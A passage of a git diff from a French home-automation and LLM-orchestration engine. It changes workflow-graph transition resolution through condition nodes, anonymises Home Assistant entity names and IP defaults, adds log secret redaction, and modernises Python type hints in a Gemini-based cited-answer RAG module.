inject_into_planner_prompt(self, base_prompt: str) -> str: Insérée avant la section 'FORMAT DE SORTIE'. """ agents_section = f"\n\n{self.build_agents_description()}\n" - + # Insertion avant 'FORMAT DE SORTIE' si présent, sinon à la fin marker = "FORMAT DE SORTIE" if marker in base_prompt: @@ -169,59 +233,113 @@ def get_connections(self) -> list[dict]: data = self._ensure_loaded() return data.get("connections", []) - def get_next_agents(self, current_node_name: str, status: str) -> list[str]: + def get_next_agents( + self, + current_node_name: str, + status: str, + require_explicit_condition: bool = False, + ) -> list[str]: """ Résout les transitions conditionnelles du graphe de workflow. - + Logique de résolution : 1. Cherche les connexions sortantes depuis le nœud courant 2. Filtre par condition : 'success', 'error', ou null (toujours) - 3. Retourne les noms d'agents cibles correspondants - + 3. TRAVERSE les nœuds de type 'condition' (#T219) : ces nœuds n'ont + jamais d'agentName (ex. node-7 "Succès ?" de Default.json) — avant ce + fix, aucune transition passant PAR un nœud condition ne se résolvait, + dans aucun schéma. Le statut de l'agent d'origine est propagé aux + arêtes sortantes du nœud condition (out-true=success/out-false=error). + 4. Retourne les noms d'agents cibles correspondants (les nœuds end/start + sans agent terminent la branche sans cible). + + [#T219] Constat d'architecture : le branchement + Reviewer→Succès?→[Fin|Self-Healing] du workflow canonique double une + logique déjà câblée en dur dans core/review_loop.py (post-DAG) et + core/healing.py (par tâche). La résolution du graphe reste la seule + voie pour les workflows custom dessinés dans l'éditeur HMI + (Workflow-as-Code), où un nœud condition cassait silencieusement tout + le routage aval. + Args: current_node_name: Nom de l'agent courant (ex: "executor") status: Résultat de l'agent ("success" ou "error") - + require_explicit_condition: [#T219] si True, ne retient que les + cibles atteintes en empruntant AU MOINS une arête dont la + condition vaut explicitement `status` (ex. `out-false` pour une + erreur). Les arêtes sans condition ("toujours active") ne + suffisent alors plus à elles seules. Utilisé par le moteur sur + le chemin d'erreur pour ne dévier du fail-fast que si l'auteur + du graphe a réellement dessiné une branche d'échec. + Returns: Liste des agents cibles. Vide si aucune connexion trouvée. """ data = self._ensure_loaded() connections = data.get("connections", []) nodes = {n.get("id"): n for n in data.get("nodes", [])} - + # Trouver les nœuds correspondant à l'agent courant current_node_ids = [ n_id for n_id, n in nodes.items() if (n.get("agentName") or "").strip() == current_node_name ] - + if not current_node_ids: return [] - - # Résoudre les transitions conditionnelles - next_agents = [] + + # Index des connexions sortantes par nœud source + outgoing: dict = {} for conn in connections: - from_id = conn.get("from") - if from_id not in current_node_ids: - continue - - condition = conn.get("condition") # None, "success", "error" - to_id = conn.get("to") - - # La connexion est active si : - # - Pas de condition (toujours active) - # - La condition match le statut courant - if condition is None or condition == status: + outgoing.setdefault(conn.get("from"), []).append(conn) + + # Parcours en largeur depuis les nœuds courants, avec traversée des + # nœuds condition et garde anti-cycle (un nœud n'est traversé qu'une + # fois). Chaque élément de la frontière porte un drapeau « une arête + # explicitement conditionnée a déjà été empruntée sur ce chemin ». + next_agents: list[str] = [] + visited: set = set(current_node_ids) + frontier: list = [(n_id, False) for n_id in current_node_ids] + + while frontier: + node_id, seen_explicit = frontier.pop(0) + for conn in outgoing.get(node_id, []): + condition = conn.get("condition") # None, "success", "error" + # La connexion est active si : + # - Pas de condition (toujours active) + # - La condition match le statut courant + if condition is not None and condition != status: + continue + + path_explicit = seen_explicit or condition == status + to_id = conn.get("to") + if to_id in visited: + continue + target_node = nodes.get(to_id, {}) target_name = (target_node.get("agentName") or "").strip() - if target_name and target_name not in next_agents: - next_agents.append(target_name) - + if target_name: + if require_explicit_condition and not path_explicit: + # Cible atteinte uniquement par des arêtes « toujours + # actives » : elle n'est pas retenue ici, mais reste + # atteignable par un autre chemin, réellement conditionné + # (d'où l'absence de marquage `visited`). + continue + visited.add(to_id) + if target_name not in next_agents: + next_agents.append(target_name) + elif target_node.get("type") == "condition": + # [#T219] Nœud condition sans agent : continuer la résolution + # au travers, en propageant le statut de l'agent d'origine. + visited.add(to_id) + frontier.append((to_id, path_explicit)) + # Autres nœuds sans agent (end, start...) : fin de branche. + if next_agents: logger.info( f"[WORKFLOW_BRIDGE] Transition conditionnelle : " f"{current_node_name} ({status}) → {next_agents}" ) - + return next_agents diff --git a/core/workflow_executor.py b/core/workflow_executor.py index 4133880..10cdaaf 100644 --- a/core/workflow_executor.py +++ b/core/workflow_executor.py @@ -23,8 +23,8 @@ import logging -from core.workflow_bridge import WorkflowBridge from core.state import TaskPayload +from core.workflow_bridge import WorkflowBridge logger = logging.getLogger(__name__) @@ -49,21 +49,28 @@ def resolve_next_tasks( status: str, result_data: str = "", session_id: str = "", + require_explicit_condition: bool = False, ) -> list[TaskPayload]: """ Résout les transitions conditionnelles du workflow et retourne les TaskPayload correspondants. - + Args: current_agent: Nom de l'agent qui vient de terminer status: "success" ou "error" result_data: Résultat de l'agent (transmis comme contexte) session_id: ID de la session en cours - + require_explicit_condition: [#T219] n'accepter que les cibles + atteintes via une arête explicitement conditionnée par `status` + (cf. WorkflowBridge.get_next_agents). Le moteur l'active sur le + chemin d'erreur. + Returns: Liste de TaskPayload à exécuter (peut être vide si pas de transition) """ - next_agents = self._bridge.get_next_agents(current_agent, status) + next_agents = self._bridge.get_next_agents( + current_agent, status, require_explicit_condition=require_explicit_condition + ) if not next_agents: return [] @@ -112,13 +119,13 @@ def get_workflow_summary(self) -> dict: data = self._bridge._ensure_loaded() nodes = data.get("nodes", []) connections = data.get("connections", []) - + agents = [ - n.get("agentName", "?") - for n in nodes + n.get("agentName", "?") + for n in nodes if n.get("type") == "agent" ] - + transitions = [] nodes_map = {n.get("id"): n for n in nodes} for conn in connections: @@ -129,7 +136,7 @@ def get_workflow_summary(self) -> dict: "to": to_node.get("agentName", "?"), "condition": conn.get("condition") }) - + return { "agents": agents, "transitions": transitions, diff --git a/deploy/deploy_worker.ps1 b/deploy/deploy_worker.ps1 index 0f61115..91a3e14 100644 --- a/deploy/deploy_worker.ps1 +++ b/deploy/deploy_worker.ps1 @@ -8,11 +8,11 @@ .EXAMPLE .\deploy_worker.ps1 - .\deploy_worker.ps1 -FreeboxIP "192.168.1.x" -SSHPort 22222 + .\deploy_worker.ps1 -FreeboxIP "${HA_HOST:-192.168.1.x}" -SSHPort 22222 #> param( - [string]$FreeboxIP = "192.168.1.x", + [string]$FreeboxIP = "${HA_HOST:-192.168.1.x}", [int]$SSHPort = 22, [string]$SSHUser = "axel", [string]$RemoteDir = "/config/moteur-worker", diff --git a/deploy/docker-compose-langfuse.yml b/deploy/docker-compose-langfuse.yml index 21f1832..6df6403 100644 --- a/deploy/docker-compose-langfuse.yml +++ b/deploy/docker-compose-langfuse.yml @@ -36,7 +36,7 @@ services: - NEXTAUTH_SECRET=langfuse-nextauth-encryption-key-secret-2026 # URL publique ou locale d'accès (à adapter avec l'IP de la VM Freebox) - - NEXTAUTH_URL=http://${LMSTUDIO_HOST:-localhost}:3000 + - NEXTAUTH_URL=http://${LM_STUDIO_HOST:-192.168.1.x}:3000 # Désactiver la télémétrie externe si souhaité - TELEMETRY_ENABLED=false diff --git a/deploy/ha_local_fallback/README.md b/deploy/ha_local_fallback/README.md index aa1c274..e525852 100644 --- a/deploy/ha_local_fallback/README.md +++ b/deploy/ha_local_fallback/README.md @@ -33,7 +33,7 @@ discussion) restent au moteur uniquement. 2. Fusionner `tab5_local_fallback_intents.yaml` dans le bloc `intent_script:` (ou l'inclure). 3. Déposer `tab5_engine_health_failover.yaml` dans `packages/` et **adapter** : - - `MOTEUR_URL` (IP:port du Deck, défaut `192.168.1.x:8000`) ; + - `MOTEUR_URL` (IP:port du Deck, défaut `${DECK_HOST:-192.168.1.x}:8000`) ; - `PIPELINE_LOCAL` = libellé exact de l'option « pipeline local » du `select.m5stack_tab5_home_assistant_hmi_assistant`. 4. Redémarrer HA (ou recharger YAML + intents). diff --git a/deploy/ha_local_fallback/custom_sentences/fr/tab5_core.yaml b/deploy/ha_local_fallback/custom_sentences/fr/tab5_core.yaml index f6b6aa8..bba0aa8 100644 --- a/deploy/ha_local_fallback/custom_sentences/fr/tab5_core.yaml +++ b/deploy/ha_local_fallback/custom_sentences/fr/tab5_core.yaml @@ -3,19 +3,19 @@ # Noyau de secours : commandes vitales servies par HA Assist LOCAL quand # le moteur (Steam Deck) est injoignable. intents: - Tab5CoreClimateSalonDaikinap71273ClimOff: + Tab5CoreClimateLivingRoomOff: data: - sentences: - arrete la clim salon - eteins la clim du salon - éteins la clim du salon - Tab5CoreClimateSalonDaikinap71273ClimOn: + Tab5CoreClimateLivingRoomOn: data: - sentences: - allume la clim du salon - allume la climatisation du salon - demarre la clim salon - Tab5CoreLightH60082Off: + Tab5CoreLightBedroomOff: data: - sentences: - eteins la chambre @@ -24,33 +24,33 @@ intents: - éteins la chambre - éteins la lumière de la chambre - éteins les lumières de la chambre - Tab5CoreLightH60082On: + Tab5CoreLightBedroomOn: data: - sentences: - allume la chambre - allume la lumiere de la chambre - mets la chambre - Tab5CoreLightH6008Off: + Tab5CoreLightBedsideOff: data: - sentences: - eteins le chevet salon - éteins le chevet salon - Tab5CoreLightH6008On: + Tab5CoreLightBedsideOn: data: - sentences: - allume la lumiere chevet salon - allume le chevet salon - Tab5CoreLightH600cOff: + Tab5CoreLightHallwayOff: data: - sentences: - eteins le spot pied - éteins le spot pied - Tab5CoreLightH600cOn: + Tab5CoreLightHallwayOn: data: - sentences: - allume la lumiere pied - allume le spot pied - Tab5CoreLightSalonOff: + Tab5CoreLightLivingRoomOff: data: - sentences: - coupe la lumiere du salon @@ -65,7 +65,7 @@ intents: - éteins la lumière du salon - éteins le salon - éteins les lumières du salon - Tab5CoreLightSalonOn: + Tab5CoreLightLivingRoomOn: data: - sentences: - allume la lumiere du salon diff --git a/deploy/ha_local_fallback/tab5_engine_health_failover.yaml b/deploy/ha_local_fallback/tab5_engine_health_failover.yaml index 6fa0d6f..c459615 100644 --- a/deploy/ha_local_fallback/tab5_engine_health_failover.yaml +++ b/deploy/ha_local_fallback/tab5_engine_health_failover.yaml @@ -2,7 +2,7 @@ # tab5_engine_health_failover.yaml — Auto-bascule du pipeline vocal Tab5. # # Objectif : garder DEUX agents (local + cloud/moteur) mais basculer tout seul -# sur l'agent LOCAL quand le moteur (Steam Deck, http://192.168.1.x:8000) est +# sur l'agent LOCAL quand le moteur (Steam Deck, http://${DECK_HOST:-192.168.1.x}:8000) est # injoignable, puis restaurer le pipeline préféré à son retour. # # Dépend de la sonde publique /healthz du moteur (api/routes/health.py) et des @@ -23,7 +23,7 @@ binary_sensor: - platform: rest name: "Moteur Tab5 en ligne" unique_id: tab5_engine_online - resource: "http://192.168.1.x:8000/healthz" + resource: "http://${DECK_HOST:-192.168.1.x}:8000/healthz" method: GET value_template: "{{ value_json.ok | default(false) }}" device_class: connectivity diff --git a/deploy/ha_local_fallback/tab5_local_fallback_intents.yaml b/deploy/ha_local_fallback/tab5_local_fallback_intents.yaml index 877ed1a..dc9605a 100644 --- a/deploy/ha_local_fallback/tab5_local_fallback_intents.yaml +++ b/deploy/ha_local_fallback/tab5_local_fallback_intents.yaml @@ -2,94 +2,94 @@ # Source de vérité : ha_commands.json (moteur). Régénérer après modif. # Noyau de secours : commandes vitales servies par HA Assist LOCAL quand # le moteur (Steam Deck) est injoignable. -Tab5CoreClimateSalonDaikinap71273ClimOff: +Tab5CoreClimateLivingRoomOff: action: - service: climate.turn_off target: - entity_id: climate.salon_daikinap71273_clim + entity_id: climate.living_room speech: text: Climatisation éteinte. -Tab5CoreClimateSalonDaikinap71273ClimOn: +Tab5CoreClimateLivingRoomOn: action: - service: climate.turn_on target: - entity_id: climate.salon_daikinap71273_clim + entity_id: climate.living_room speech: text: Climatisation allumée. -Tab5CoreLightH60082Off: +Tab5CoreLightBedroomOff: action: - service: light.turn_off target: - entity_id: light.h6008_2 + entity_id: light.bedroom speech: text: Lumière éteinte. -Tab5CoreLightH60082On: +Tab5CoreLightBedroomOn: action: - service: light.turn_on target: - entity_id: light.h6008_2 + entity_id: light.bedroom speech: text: Lumière allumée. -Tab5CoreLightH6008Off: +Tab5CoreLightBedsideOff: action: - service: light.turn_off target: - entity_id: light.h6008 + entity_id: light.bedside speech: text: Lumière éteinte. -Tab5CoreLightH6008On: +Tab5CoreLightBedsideOn: action: - service: light.turn_on target: - entity_id: light.h6008 + entity_id: light.bedside speech: text: Lumière allumée. -Tab5CoreLightH600cOff: +Tab5CoreLightHallwayOff: action: - service: light.turn_off target: - entity_id: light.h600c + entity_id: light.hallway speech: text: Lumière éteinte. -Tab5CoreLightH600cOn: +Tab5CoreLightHallwayOn: action: - service: light.turn_on target: - entity_id: light.h600c + entity_id: light.hallway speech: text: Lumière allumée. -Tab5CoreLightSalonOff: +Tab5CoreLightLivingRoomOff: action: - service: light.turn_off target: - entity_id: light.salon + entity_id: light.living_room speech: text: Lumière éteinte. -Tab5CoreLightSalonOn: +Tab5CoreLightLivingRoomOn: action: - service: light.turn_on target: - entity_id: light.salon + entity_id: light.living_room speech: text: Lumière allumée. Tab5CoreVoletClose: action: - data: action: close - service: script.tab5_volet_action + service: script.blind_action speech: text: Volet fermé. Tab5CoreVoletOpen: action: - data: action: open - service: script.tab5_volet_action + service: script.blind_action speech: text: Volet ouvert. Tab5CoreVoletStop: action: - data: action: stop - service: script.tab5_volet_action + service: script.blind_action speech: text: Volet arrêté. diff --git a/deploy/worker_standalone.py b/deploy/worker_standalone.py index 05c855f..8aae224 100644 --- a/deploy/worker_standalone.py +++ b/deploy/worker_standalone.py @@ -20,12 +20,12 @@ Il appelle directement l'API Gemini REST (pas de LLMGateway, pas de moteur). """ +import argparse +import logging import os import sys import time -import logging -import argparse -from typing import Optional, Dict, Any +from typing import Any # Chargement du .env si présent try: @@ -36,7 +36,7 @@ env_path = os.path.join(os.path.dirname(os.path.abspath(__file__)), ".env") if os.path.exists(env_path): try: - with open(env_path, "r", encoding="utf-8") as f: + with open(env_path, encoding="utf-8") as f: for line in f: line = line.strip() if line and not line.startswith("#") and "=" in line: @@ -164,10 +164,10 @@ def __init__(self, name: str, port: int, host: str = "0.0.0.0"): self._start_time = time.time() self._tasks_completed = 0 self._tasks_failed = 0 - self._current_task: Optional[str] = None + self._current_task: str | None = None self._task_history: list = [] # Historique des 50 dernières tâches - async def execute_task(self, request: dict) -> Dict[str, Any]: + async def execute_task(self, request: dict) -> dict[str, Any]: """Exécute une tâche via l'API Gemini et retourne le résultat.""" task_id = request.get("task_id", f"task_{int(time.time())}") objective = request.get("task_objective", "") @@ -261,7 +261,7 @@ async def execute_task(self, request: dict) -> Dict[str, Any]: }, } - def get_status(self) -> Dict[str, Any]: + def get_status(self) -> dict[str, Any]: """État du worker (heartbeat + métriques).""" return { "name": self.name, @@ -381,13 +381,13 @@ def main(): ) sys.exit(1) - logger.info(f"╔══════════════════════════════════════════════╗") - logger.info(f"║ Moteur — Worker Standalone ║") + logger.info("╔══════════════════════════════════════════════╗") + logger.info("║ Moteur — Worker Standalone ║") logger.info(f"║ Nom : {args.name:<35}║") logger.info(f"║ Port : {args.port:<35}║") logger.info(f"║ Modèle : {GEMINI_MODEL:<35}║") logger.info(f"║ API Key: {'✅ OK':<35}║") - logger.info(f"╚══════════════════════════════════════════════╝") + logger.info("╚══════════════════════════════════════════════╝") daemon = WorkerStandalone(name=args.name, port=args.port, host=args.host) app = daemon.create_app() diff --git a/docs/ARCHITECTURE.md b/docs/ARCHITECTURE.md index c82c57c..dbeaa8b 100644 --- a/docs/ARCHITECTURE.md +++ b/docs/ARCHITECTURE.md @@ -1,4 +1,4 @@ -# Architecture du vromvrom-engine — V11 +# Architecture du tab5-engine — V11 > **Dernière mise à jour** : 2026-06-12 > **Version code** : V11 (Circuit Breaker V12 intégré) @@ -423,8 +423,8 @@ sequenceDiagram | Service | Usage | Module | |---------|-------|--------| -| LM Studio (${LMSTUDIO_HOST:-localhost}:1234) | Inférence locale (RTX 5070Ti) | `LMStudioProvider` | -| Ollama Deck (${OLLAMA_HOST:-localhost}/139:11434) | Inférence Edge (Steam Deck RDNA2) | `OllamaDeckProvider` | +| LM Studio (${LM_STUDIO_HOST:-192.168.1.x}:1234) | Inférence locale (RTX 5070Ti) | `LMStudioProvider` | +| Ollama Deck (${DECK_HOST:-192.168.1.x}/139:11434) | Inférence Edge (Steam Deck RDNA2) | `OllamaDeckProvider` | | Home Assistant (192.168.x.x:8123) | Domotique REST API | `ha_agent.py`, `tab5_pusher.py` | | Gemini API | LLM Cloud + embeddings + grounding | `gemini_native.py`, `GeminiProvider` | | Anthropic (Claude CLI) | LLM Cloud via CLI local | `ClaudeCLIProvider` | diff --git a/gui_server.py b/gui_server.py index 849fdcf..8133c15 100644 --- a/gui_server.py +++ b/gui_server.py @@ -51,6 +51,7 @@ from core import token_tracker from core.cli_token_collector import collect_all_cli_tokens +from core.ha_token import get_ha_token # [T239] lecture centralisée du token HA # Initialisation du logger logging.basicConfig(level=logging.INFO, format="%(asctime)s [%(levelname)s] %(name)s - %(message)s") @@ -66,6 +67,16 @@ except Exception as e: logger.warning(f"⚠️ Google Cloud Logging non initialisé : {e}") +# [#T262] Masquage des secrets à la sortie des journaux. Posé APRÈS +# `setup_logging()` de Google Cloud Logging, sinon son handler — ajouté au root +# logger juste au-dessus — expédierait les secrets vers GCP sans être filtré. +try: + from core.log_redaction import installer_redaction + _n_handlers = installer_redaction() + logger.info(f"🔒 Masquage des secrets actif sur {_n_handlers} handler(s) de journalisation.") +except Exception as e: + logger.error(f"⚠️ Masquage des secrets NON actif ({e}) — les journaux peuvent exposer des clés.") + # Lifespan handler (remplace les 2 @app.on_event('startup') dépréciés) # Défini ici mais complété après les helpers (sse_quota_pusher_loop, swarm_heartbeat_loop) # → voir la définition complète lifespan() juste avant app = FastAPI(lifespan=lifespan) @@ -84,6 +95,15 @@ async def lifespan(app: FastAPI): db_serializer = AsyncDBSerializer.get_instance() await db_serializer.start() + # [#T277] Trace la hiérarchie des fenêtres de temps et signale toute + # incohérence (une fenêtre interne plus longue que celle qui la contient + # rend le mécanisme interne décoratif — cas #T267 et #T277). + try: + from core.fenetres_execution import journaliser_fenetres + journaliser_fenetres() + except Exception as _fe: + logger.debug(f"[STARTUP] Fenêtres d'exécution non journalisées : {_fe}") + # ── Initialisation du Router global ── # [P1-2.1] Construit via l'assemblage canonique (factory) : gateway + RAG + # config câblés, partagé par toutes les routes. Un Router nu tuait le @@ -110,8 +130,10 @@ async def lifespan(app: FastAPI): try: from core.ha_fuzzy_matcher import init_fuzzy_matcher _ha_url = os.environ.get("HASS_URL", "https://${HA_HOST:-192.168.1.x}:8123") - _ha_token = os.environ.get("HASS_TOKEN", "") + _ha_token = get_ha_token() if not _ha_token: + # Secours : lecture brute du fichier .env (T239) — hors accesseur + # get_ha_token(), qui ne lit que os.environ. _env_path = os.path.join(os.path.dirname(os.path.abspath(__file__)), ".env") if os.path.exists(_env_path): with open(_env_path, encoding="utf-8") as _ef: @@ -140,6 +162,12 @@ async def lifespan(app: FastAPI): asyncio.create_task(sse_quota_pusher_loop()) logger.info("[STARTUP] sse_quota_pusher_loop enregistré et lancé.") + # Refresh périodique des quotas (intervalle QUOTA_REFRESH_INTERVAL_SECONDS, + # défaut 300 s — voir core.quota_collector.quota_refresh_loop, #T269) + from core.quota_collector import quota_refresh_loop + asyncio.create_task(quota_refresh_loop()) + logger.info("[STARTUP] 🔄 Refresh périodique des quotas lancé.") + from core.daemon_loop import daemon_main_loop asyncio.create_task(daemon_main_loop()) logger.info("[STARTUP] 🔄 Démon Sentinelle 24/7 lancé.") @@ -268,7 +296,7 @@ async def lifespan(app: FastAPI): # Configuration CORS pilotée par l'environnement. # MOTEUR_CORS_ORIGINS : liste d'origines séparées par des virgules -# (ex. "http://${ENGINE_HOST:-192.168.1.x}:8000,http://localhost:8000"). +# (ex. "http://${DECK_HOST:-192.168.1.x}:8000,http://localhost:8000"). # Sécurité : la combinaison allow_origins=["*"] + allow_credentials=True est # invalide/dangereuse (CSRF cross-origin authentifié). Si aucune origine n'est # définie, on retombe sur "*" SANS credentials. @@ -1126,6 +1154,9 @@ async def broadcast_engine_state(event_type: str, data: dict): @app.get("/api/system/tokens-status", tags=["Configuration"], dependencies=_AUTH_DEP) async def get_tokens_status(): """Remonte le statut des tokens (GCP, API météo, HA) pour l'IHM.""" + # Diagnostic de présence de la clé HASS_TOKEN (T239) — volontairement hors + # accesseur get_ha_token() : la sémantique est « cette clé précise + # existe-t-elle », pas « donne-moi le token ». return { "ha_token": {"status": "ok" if os.environ.get("HASS_TOKEN") else "missing"}, "gcp_key": {"status": "ok" if os.environ.get("GOOGLE_APPLICATION_CREDENTIALS") else "missing"}, diff --git a/ha_commands.json.example b/ha_commands.json.example index 9d40f9d..d726be8 100644 --- a/ha_commands.json.example +++ b/ha_commands.json.example @@ -15,7 +15,7 @@ "salon allume" ], "service": "light.turn_on", - "entity_id": "light.salon" + "entity_id": "light.living_room" }, { "phrases": [ @@ -33,7 +33,7 @@ "coupe le salon" ], "service": "light.turn_off", - "entity_id": "light.salon" + "entity_id": "light.living_room" }, { "phrases": [ @@ -42,7 +42,7 @@ "mets la chambre" ], "service": "light.turn_on", - "entity_id": "light.h6008_2" + "entity_id": "light.bedroom" }, { "phrases": [ @@ -54,7 +54,7 @@ "éteins les lumières de la chambre" ], "service": "light.turn_off", - "entity_id": "light.h6008_2" + "entity_id": "light.bedroom" }, { "phrases": [ @@ -62,7 +62,7 @@ "allume la lumiere chevet salon" ], "service": "light.turn_on", - "entity_id": "light.h6008" + "entity_id": "light.bedside" }, { "phrases": [ @@ -70,7 +70,7 @@ "éteins le chevet salon" ], "service": "light.turn_off", - "entity_id": "light.h6008" + "entity_id": "light.bedside" }, { "phrases": [ @@ -78,7 +78,7 @@ "allume la lumiere pied" ], "service": "light.turn_on", - "entity_id": "light.h600c" + "entity_id": "light.hallway" }, { "phrases": [ @@ -86,7 +86,7 @@ "éteins le spot pied" ], "service": "light.turn_off", - "entity_id": "light.h600c" + "entity_id": "light.hallway" }, { "phrases": [ @@ -98,7 +98,7 @@ "monte le volet du salon", "monte les volets du salon" ], - "service": "script.tab5_volet_action", + "service": "script.blind_action", "entity_id": "", "service_data": {"action": "open"} }, @@ -115,7 +115,7 @@ "descend les volets du salon", "baisse les volets du salon" ], - "service": "script.tab5_volet_action", + "service": "script.blind_action", "entity_id": "", "service_data": {"action": "close"} }, @@ -132,7 +132,7 @@ "stop les volets du salon", "arrete les volets du salon" ], - "service": "script.tab5_volet_action", + "service": "script.blind_action", "entity_id": "", "service_data": {"action": "stop"} }, @@ -143,7 +143,7 @@ "demarre la clim salon" ], "service": "climate.turn_on", - "entity_id": "climate.salon_daikinap71273_clim" + "entity_id": "climate.living_room" }, { "phrases": [ @@ -152,7 +152,7 @@ "arrete la clim salon" ], "service": "climate.turn_off", - "entity_id": "climate.salon_daikinap71273_clim" + "entity_id": "climate.living_room" }, { "phrases": [ @@ -161,7 +161,7 @@ "active okay nabu" ], "service": "switch.turn_on", - "entity_id": "switch.m5stack_tab5_home_assistant_hmi_tab5_wake_word_active" + "entity_id": "switch.example_wake_word" }, { "phrases": [ @@ -170,7 +170,7 @@ "coupe le wake word" ], "service": "switch.turn_off", - "entity_id": "switch.m5stack_tab5_home_assistant_hmi_tab5_wake_word_active" + "entity_id": "switch.example_wake_word" } ] } diff --git a/main.py b/main.py index 33a6da7..6b5b2f6 100644 --- a/main.py +++ b/main.py @@ -15,9 +15,9 @@ python main.py # utilise une requête de démonstration """ -import sys import asyncio import logging +import sys from dotenv import load_dotenv diff --git a/mcp_server.py b/mcp_server.py index 74909ae..2668c80 100644 --- a/mcp_server.py +++ b/mcp_server.py @@ -22,6 +22,7 @@ """ import logging import os + from dotenv import load_dotenv # Résolution absolue du fichier .env pour éviter les problèmes de CWD (répertoire de travail) de l'IDE @@ -34,15 +35,14 @@ logger = logging.getLogger("mcp_server") -from core.mcp_app import mcp +import core.mcp_tools.homeassistant # noqa: E402,F401 +import core.mcp_tools.memory # noqa: E402,F401 # Import des 3 modules d'outils — déclenche l'enregistrement de leurs # @mcp.tool() sur l'instance `mcp` partagée. Ordre : orchestrator avant # memory (memory.list_available_models importe get_gateway depuis orchestrator). import core.mcp_tools.orchestrator # noqa: E402,F401 -import core.mcp_tools.memory # noqa: E402,F401 -import core.mcp_tools.homeassistant # noqa: E402,F401 - +from core.mcp_app import mcp if __name__ == "__main__": # Lancement du serveur MCP diff --git a/memory/aqa.py b/memory/aqa.py index 1049b97..6c23f24 100644 --- a/memory/aqa.py +++ b/memory/aqa.py @@ -18,10 +18,11 @@ Modèles supportés : gemini-3.5-flash (Free Tier), gemini-3.5-flash-paid """ -import os import logging +import os +from typing import Any + import requests -from typing import List, Dict, Any, Optional, Tuple logger = logging.getLogger("memory.aqa") @@ -41,10 +42,10 @@ class AQAEngine: ] ) """ - + def __init__( self, - api_key: Optional[str] = None, + api_key: str | None = None, model: str = "gemini-3.5-flash", ): """ @@ -55,21 +56,21 @@ def __init__( self._api_key = api_key or os.environ.get("GEMINI_API_KEY") self._model = model self._base_url = "https://generativelanguage.googleapis.com/v1beta" - + if not self._api_key: logger.warning("[AQA] Aucune clé API configurée") - + @property def available(self) -> bool: return bool(self._api_key) - + def answer_with_citations( self, question: str, - passages: List[Dict[str, str]], + passages: list[dict[str, str]], language: str = "fr", temperature: float = 0.1, - ) -> Tuple[str, List[Dict[str, Any]]]: + ) -> tuple[str, list[dict[str, Any]]]: """Produit une réponse avec citations à partir de passages RAG. Args: @@ -87,13 +88,13 @@ def answer_with_citations( """ if not self._api_key: return "Erreur: Clé API Gemini requise pour l'AQA", [] - + if not passages: return "Aucun passage de référence fourni pour répondre.", [] - + # Construire le prompt AQA avec instructions de citation system_prompt = self._build_aqa_system_prompt(language) - + # Construire le contexte annoté avec numéros de source context_parts = [] source_map = {} # index → passage info @@ -106,19 +107,19 @@ def answer_with_citations( # Tronquer les passages trop longs content = passage.get("content", "")[:3000] context_parts.append(f"{source_id} {passage.get('title', '')}:\n{content}") - + context = "\n\n---\n\n".join(context_parts) - + user_prompt = ( f"CONTEXTE DOCUMENTAIRE :\n{context}\n\n" f"---\n\n" f"QUESTION : {question}\n\n" f"Réponds en citant les sources avec [Source N]." ) - + # Appel API Gemini standard avec le contexte inline url = f"{self._base_url}/models/{self._model}:generateContent?key={self._api_key}" - + payload = { "contents": [{"role": "user", "parts": [{"text": user_prompt}]}], "systemInstruction": {"parts": [{"text": system_prompt}]}, @@ -127,7 +128,7 @@ def answer_with_citations( "maxOutputTokens": 2048, } } - + try: resp = requests.post( url, @@ -137,7 +138,7 @@ def answer_with_citations( ) resp.raise_for_status() data = resp.json() - + # Token tracking try: from core.token_tracker import record_usage @@ -149,31 +150,31 @@ def answer_with_citations( ) except Exception: pass - + # Extraire la réponse candidates = data.get("candidates", []) if not candidates: return "L'API n'a retourné aucune réponse.", [] - + answer_text = "" parts = candidates[0].get("content", {}).get("parts", []) for part in parts: answer_text += part.get("text", "") - + # Extraire les citations du texte de réponse citations = self._extract_citations(answer_text, source_map) - + # Évaluer l'answerable probability grounding_metadata = candidates[0].get("groundingMetadata", {}) - + logger.info( f"[AQA] Réponse générée : {len(answer_text)} chars, " f"{len(citations)} citation(s), " f"{len(passages)} passage(s) de référence" ) - + return answer_text, citations - + except requests.exceptions.HTTPError as e: status = e.response.status_code if e.response else "?" body = e.response.text[:300] if e.response else "" @@ -182,13 +183,13 @@ def answer_with_citations( except Exception as e: logger.error(f"[AQA] Erreur : {e}") return f"Erreur AQA : {e}", [] - + def answer_from_rag( self, question: str, rag_engine=None, top_n: int = 5, - ) -> Tuple[str, List[Dict[str, Any]]]: + ) -> tuple[str, list[dict[str, Any]]]: """Raccourci : interroge le RAGEngine puis produit une réponse AQA. Args: @@ -205,31 +206,31 @@ def answer_from_rag( rag_engine = RAGEngine() except Exception as e: return f"Erreur: RAGEngine non disponible : {e}", [] - + # Récupérer les passages pertinents via le RAG hybride # On a besoin des sections brutes, pas du texte formaté query_tokens = rag_engine._tokenize(question) if not query_tokens or not rag_engine.sections: return "Aucun document de référence disponible.", [] - + # Utiliser le scoring TF-IDF+BM25 pour récupérer les top sections import math - + query_tf = {} for t in query_tokens: query_tf[t] = query_tf.get(t, 0) + 1 - + query_tfidf = {} query_sum_sq = 0.0 for t, tf in query_tf.items(): tfidf_val = tf * rag_engine.idf.get(t, 0.0) query_tfidf[t] = tfidf_val query_sum_sq += tfidf_val ** 2 - + query_norm = math.sqrt(query_sum_sq) if query_norm == 0.0: return "Requête trop vague pour le RAG.", [] - + # Scoring combiné scores = [] for idx, sec in enumerate(rag_engine.sections): @@ -240,20 +241,20 @@ def answer_from_rag( continue dot = sum(query_tfidf.get(t, 0) * sec_tfidf.get(t, 0) for t in query_tfidf) cos_sim = dot / (query_norm * sec_norm) - + # BM25 bm25 = rag_engine._bm25_score(query_tokens, sec) - + combined = cos_sim + bm25 * 0.3 if combined > 0.01: scores.append((combined, idx)) - + scores.sort(key=lambda x: x[0], reverse=True) top_sections = scores[:top_n] - + if not top_sections: return "Aucun passage pertinent trouvé dans la documentation.", [] - + # Construire les passages pour l'AQA passages = [] for _, idx in top_sections: @@ -263,9 +264,9 @@ def answer_from_rag( "content": sec.get("content", ""), "source": sec.get("source", ""), }) - + return self.answer_with_citations(question, passages) - + def _build_aqa_system_prompt(self, language: str = "fr") -> str: """Construit le system prompt pour l'AQA avec instructions de citation.""" if language == "fr": @@ -291,32 +292,32 @@ def _build_aqa_system_prompt(self, language: str = "fr") -> str: "4. Cite sources AFTER each relevant sentence, not in a block at the end.\n" "5. Answer clearly and in a structured manner.\n" ) - + def _extract_citations( self, answer_text: str, - source_map: Dict[int, Dict[str, str]], - ) -> List[Dict[str, Any]]: + source_map: dict[int, dict[str, str]], + ) -> 